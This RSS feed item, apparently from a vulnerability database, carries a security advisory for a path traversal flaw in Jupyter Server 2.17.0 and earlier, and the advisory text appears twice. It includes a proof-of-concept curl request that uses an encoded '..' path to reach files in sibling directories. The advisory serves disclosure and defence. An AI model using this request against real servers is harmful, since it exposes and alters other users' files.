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    <item>
      <title>GHSA-5789-5fc7-67v3 — Jupyter Server: Path Traversal via incorrect startswith() root directory check allows access to sibling directories</title>
      <link>https://db.gcve.eu/vuln/ghsa-5789-5fc7-67v3</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: jupyter-server&lt;/p&gt;
&lt;p&gt;### Summary&lt;/p&gt;
&lt;p&gt;Jupyter Server &amp;lt;=2.17.0 can access directories sibling to the root directory, if it starts with the root dir&amp;#39;s name.&lt;/p&gt;
&lt;p&gt;### PoC&lt;/p&gt;
&lt;p&gt;Minimal:&lt;/p&gt;
&lt;p&gt;```
.
├── test/              &amp;lt;- root directory.
│   └── test.txt
└── testtest/
    └── secret.txt     &amp;lt;- file to exfiltrate that we should not be able to access via API
```&lt;/p&gt;
&lt;p&gt;```bash
HOST=&amp;#34;http://localhost:8888&amp;#34;
TOKEN=&amp;#34;&amp;#34;
SIBLING=&amp;#34;testtest&amp;#34;
TARGET=&amp;#34;secret.txt&amp;#34;&lt;/p&gt;
&lt;p&gt;curl -s -X POST \
  &amp;#34;$HOST/api/contents/%2e%2e/$SIBLING/$TARGET/checkpoints&amp;#34; \
  -H &amp;#34;Authorization: token $TOKEN&amp;#34;
```&lt;/p&gt;
&lt;p&gt;Full PoC by @stef41: https://gist.github.com/Yann-P/66d4982a965dee8fcb8dd89db29e7006&lt;/p&gt;
&lt;p&gt;### Impact&lt;/p&gt;
&lt;p&gt;It is possible for an authenticated user to access content outside the server&amp;#39;s `root_dir` in siblings directories sharing the same prefix as the `root_dir`. The attacker can escalate access, reading, writing, and deleting from sibling directories.&lt;/p&gt;
&lt;p&gt;This can have a tangible impact for deployments using predictable naming scheme with multi-tenant server, for example `user1`, `user2`, `user3`, ..., `user10` etc, as `user1` could access and modify files of all `user10` - `user19` and higher.&lt;/p&gt;
&lt;p&gt;In a hypothetical system where users can choose a name of their folder, an attacker could choose a single-letter username to gain access to a significant number of sibling directories.&lt;/p&gt;
&lt;p&gt;### Workarounds&lt;/p&gt;
&lt;p&gt;Use folder names that do not overlap.&lt;/p&gt;
&lt;p&gt;### Acknowledgments&lt;/p&gt;
&lt;p&gt;Thank you to @stef41 for providing a useful PoC.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: jupyter-server&lt;/p&gt;
&lt;p&gt;### Summary&lt;/p&gt;
&lt;p&gt;Jupyter Server &amp;lt;=2.17.0 can access directories sibling to the root directory, if it starts with the root dir&amp;#39;s name.&lt;/p&gt;
&lt;p&gt;### PoC&lt;/p&gt;
&lt;p&gt;Minimal:&lt;/p&gt;
&lt;p&gt;```
.
├── test/              &amp;lt;- root directory.
│   └── test.txt
└── testtest/
    └── secret.txt     &amp;lt;- file to exfiltrate that we should not be able to access via API
```&lt;/p&gt;
&lt;p&gt;```bash
HOST=&amp;#34;http://localhost:8888&amp;#34;
TOKEN=&amp;#34;&amp;#34;
SIBLING=&amp;#34;testtest&amp;#34;
TARGET=&amp;#34;secret.txt&amp;#34;&lt;/p&gt;
&lt;p&gt;curl -s -X POST \
  &amp;#34;$HOST/api/contents/%2e%2e/$SIBLING/$TARGET/checkpoints&amp;#34; \
  -H &amp;#34;Authorization: token $TOKEN&amp;#34;
```&lt;/p&gt;
&lt;p&gt;Full PoC by @stef41: https://gist.github.com/Yann-P/66d4982a965dee8fcb8dd89db29e7006&lt;/p&gt;
&lt;p&gt;### Impact&lt;/p&gt;
&lt;p&gt;It is possible for an authenticated user to access content outside the server&amp;#39;s `root_dir` in siblings directories sharing the same prefix as the `root_dir`. The attacker can escalate access, reading, writing, and deleting from sibling directories.&lt;/p&gt;
&lt;p&gt;This can have a tangible impact for deployments using predictable naming scheme with multi-tenant server, for example `user1`, `user2`, `user3`, ..., `user10` etc, as `user1` could access and modify files of all `user10` - `user19` and higher.&lt;/p&gt;
&lt;p&gt;In a hypothetical system where users can choose a name of their folder, an attacker could choose a single-letter username to gain access to a significant number of sibling directories.&lt;/p&gt;
&lt;p&gt;### Workarounds&lt;/p&gt;
&lt;p&gt;Use folder names that do not overlap.&lt;/p&gt;
&lt;p&gt;### Acknowledgments&lt;/p&gt;
&lt;p&gt;Thank you to @stef41 for providing a useful PoC.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://db.gcve.eu/vuln/ghsa-5789-5fc7-67v3</guid>
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